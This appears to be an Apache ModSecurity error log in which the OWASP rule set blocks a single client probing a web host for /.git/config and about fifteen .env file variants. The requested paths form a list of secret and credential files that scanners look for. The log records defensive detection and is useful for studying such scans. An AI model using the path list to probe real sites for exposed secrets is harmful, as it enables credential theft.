[Mon Oct 26 22:19:49.223025 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auAKRc8F3ZZVbqNCqKaAUAAAAAo"]
[Mon Oct 26 22:19:49.223465 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auAKRc8F3ZZVbqNCqKaAUAAAAAo"]
[Mon Oct 26 22:19:49.753513 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAKRc8F3ZZVbqNCqKaAUgAAAAo"]
[Mon Oct 26 22:19:49.753803 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAKRc8F3ZZVbqNCqKaAUgAAAAo"]
[Mon Oct 26 22:19:49.754181 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auAKRc8F3ZZVbqNCqKaAUgAAAAo"]
[Mon Oct 26 22:19:49.983573 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auAKRc8F3ZZVbqNCqKaAUwAAAAo"]
[Mon Oct 26 22:19:49.983941 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auAKRc8F3ZZVbqNCqKaAUwAAAAo"]
[Mon Oct 26 22:19:49.984416 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auAKRc8F3ZZVbqNCqKaAUwAAAAo"]
[Mon Oct 26 22:19:50.117640 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 52.4.238.8:51271] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:19:50.208722 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auAKRs8F3ZZVbqNCqKaAVAAAAAo"]
[Mon Oct 26 22:19:50.208992 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auAKRs8F3ZZVbqNCqKaAVAAAAAo"]
[Mon Oct 26 22:19:50.209357 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auAKRs8F3ZZVbqNCqKaAVAAAAAo"]
[Mon Oct 26 22:19:50.453382 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auAKRs8F3ZZVbqNCqKaAVQAAAAo"]
[Mon Oct 26 22:19:50.453630 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auAKRs8F3ZZVbqNCqKaAVQAAAAo"]
[Mon Oct 26 22:19:50.453985 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auAKRs8F3ZZVbqNCqKaAVQAAAAo"]
[Mon Oct 26 22:19:50.685914 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auAKRs8F3ZZVbqNCqKaAVgAAAAo"]
[Mon Oct 26 22:19:50.686233 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auAKRs8F3ZZVbqNCqKaAVgAAAAo"]
[Mon Oct 26 22:19:50.686593 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auAKRs8F3ZZVbqNCqKaAVgAAAAo"]
[Mon Oct 26 22:19:50.918295 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auAKRs8F3ZZVbqNCqKaAVwAAAAo"]
[Mon Oct 26 22:19:50.918540 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auAKRs8F3ZZVbqNCqKaAVwAAAAo"]
[Mon Oct 26 22:19:50.918898 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auAKRs8F3ZZVbqNCqKaAVwAAAAo"]
[Mon Oct 26 22:19:51.143103 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "auAKR88F3ZZVbqNCqKaAWAAAAAo"]
[Mon Oct 26 22:19:51.143334 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "auAKR88F3ZZVbqNCqKaAWAAAAAo"]
[Mon Oct 26 22:19:51.143610 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "auAKR88F3ZZVbqNCqKaAWAAAAAo"]
[Mon Oct 26 22:19:51.373325 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auAKR88F3ZZVbqNCqKaAWQAAAAo"]
[Mon Oct 26 22:19:51.373574 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auAKR88F3ZZVbqNCqKaAWQAAAAo"]
[Mon Oct 26 22:19:51.373887 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auAKR88F3ZZVbqNCqKaAWQAAAAo"]
[Mon Oct 26 22:19:51.618610 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auAKR88F3ZZVbqNCqKaAWgAAAAo"]
[Mon Oct 26 22:19:51.618855 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auAKR88F3ZZVbqNCqKaAWgAAAAo"]
[Mon Oct 26 22:19:51.619153 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auAKR88F3ZZVbqNCqKaAWgAAAAo"]
[Mon Oct 26 22:19:51.869988 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auAKR88F3ZZVbqNCqKaAWwAAAAo"]
[Mon Oct 26 22:19:51.870216 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auAKR88F3ZZVbqNCqKaAWwAAAAo"]
[Mon Oct 26 22:19:51.870563 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auAKR88F3ZZVbqNCqKaAWwAAAAo"]
[Mon Oct 26 22:19:52.117138 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auAKSM8F3ZZVbqNCqKaAXAAAAAo"]
[Mon Oct 26 22:19:52.117370 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auAKSM8F3ZZVbqNCqKaAXAAAAAo"]
[Mon Oct 26 22:19:52.117673 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auAKSM8F3ZZVbqNCqKaAXAAAAAo"]
[Mon Oct 26 22:19:52.358829 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auAKSM8F3ZZVbqNCqKaAXQAAAAo"]
[Mon Oct 26 22:19:52.359162 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auAKSM8F3ZZVbqNCqKaAXQAAAAo"]
[Mon Oct 26 22:19:52.359490 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auAKSM8F3ZZVbqNCqKaAXQAAAAo"]
[Mon Oct 26 22:19:52.602968 2026] [security2:error] [pid 3137125:tid 3137125] [client 8.234.102.237:59004] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auAKSM8F3ZZVbqNCqKaAXgAAAAo"]
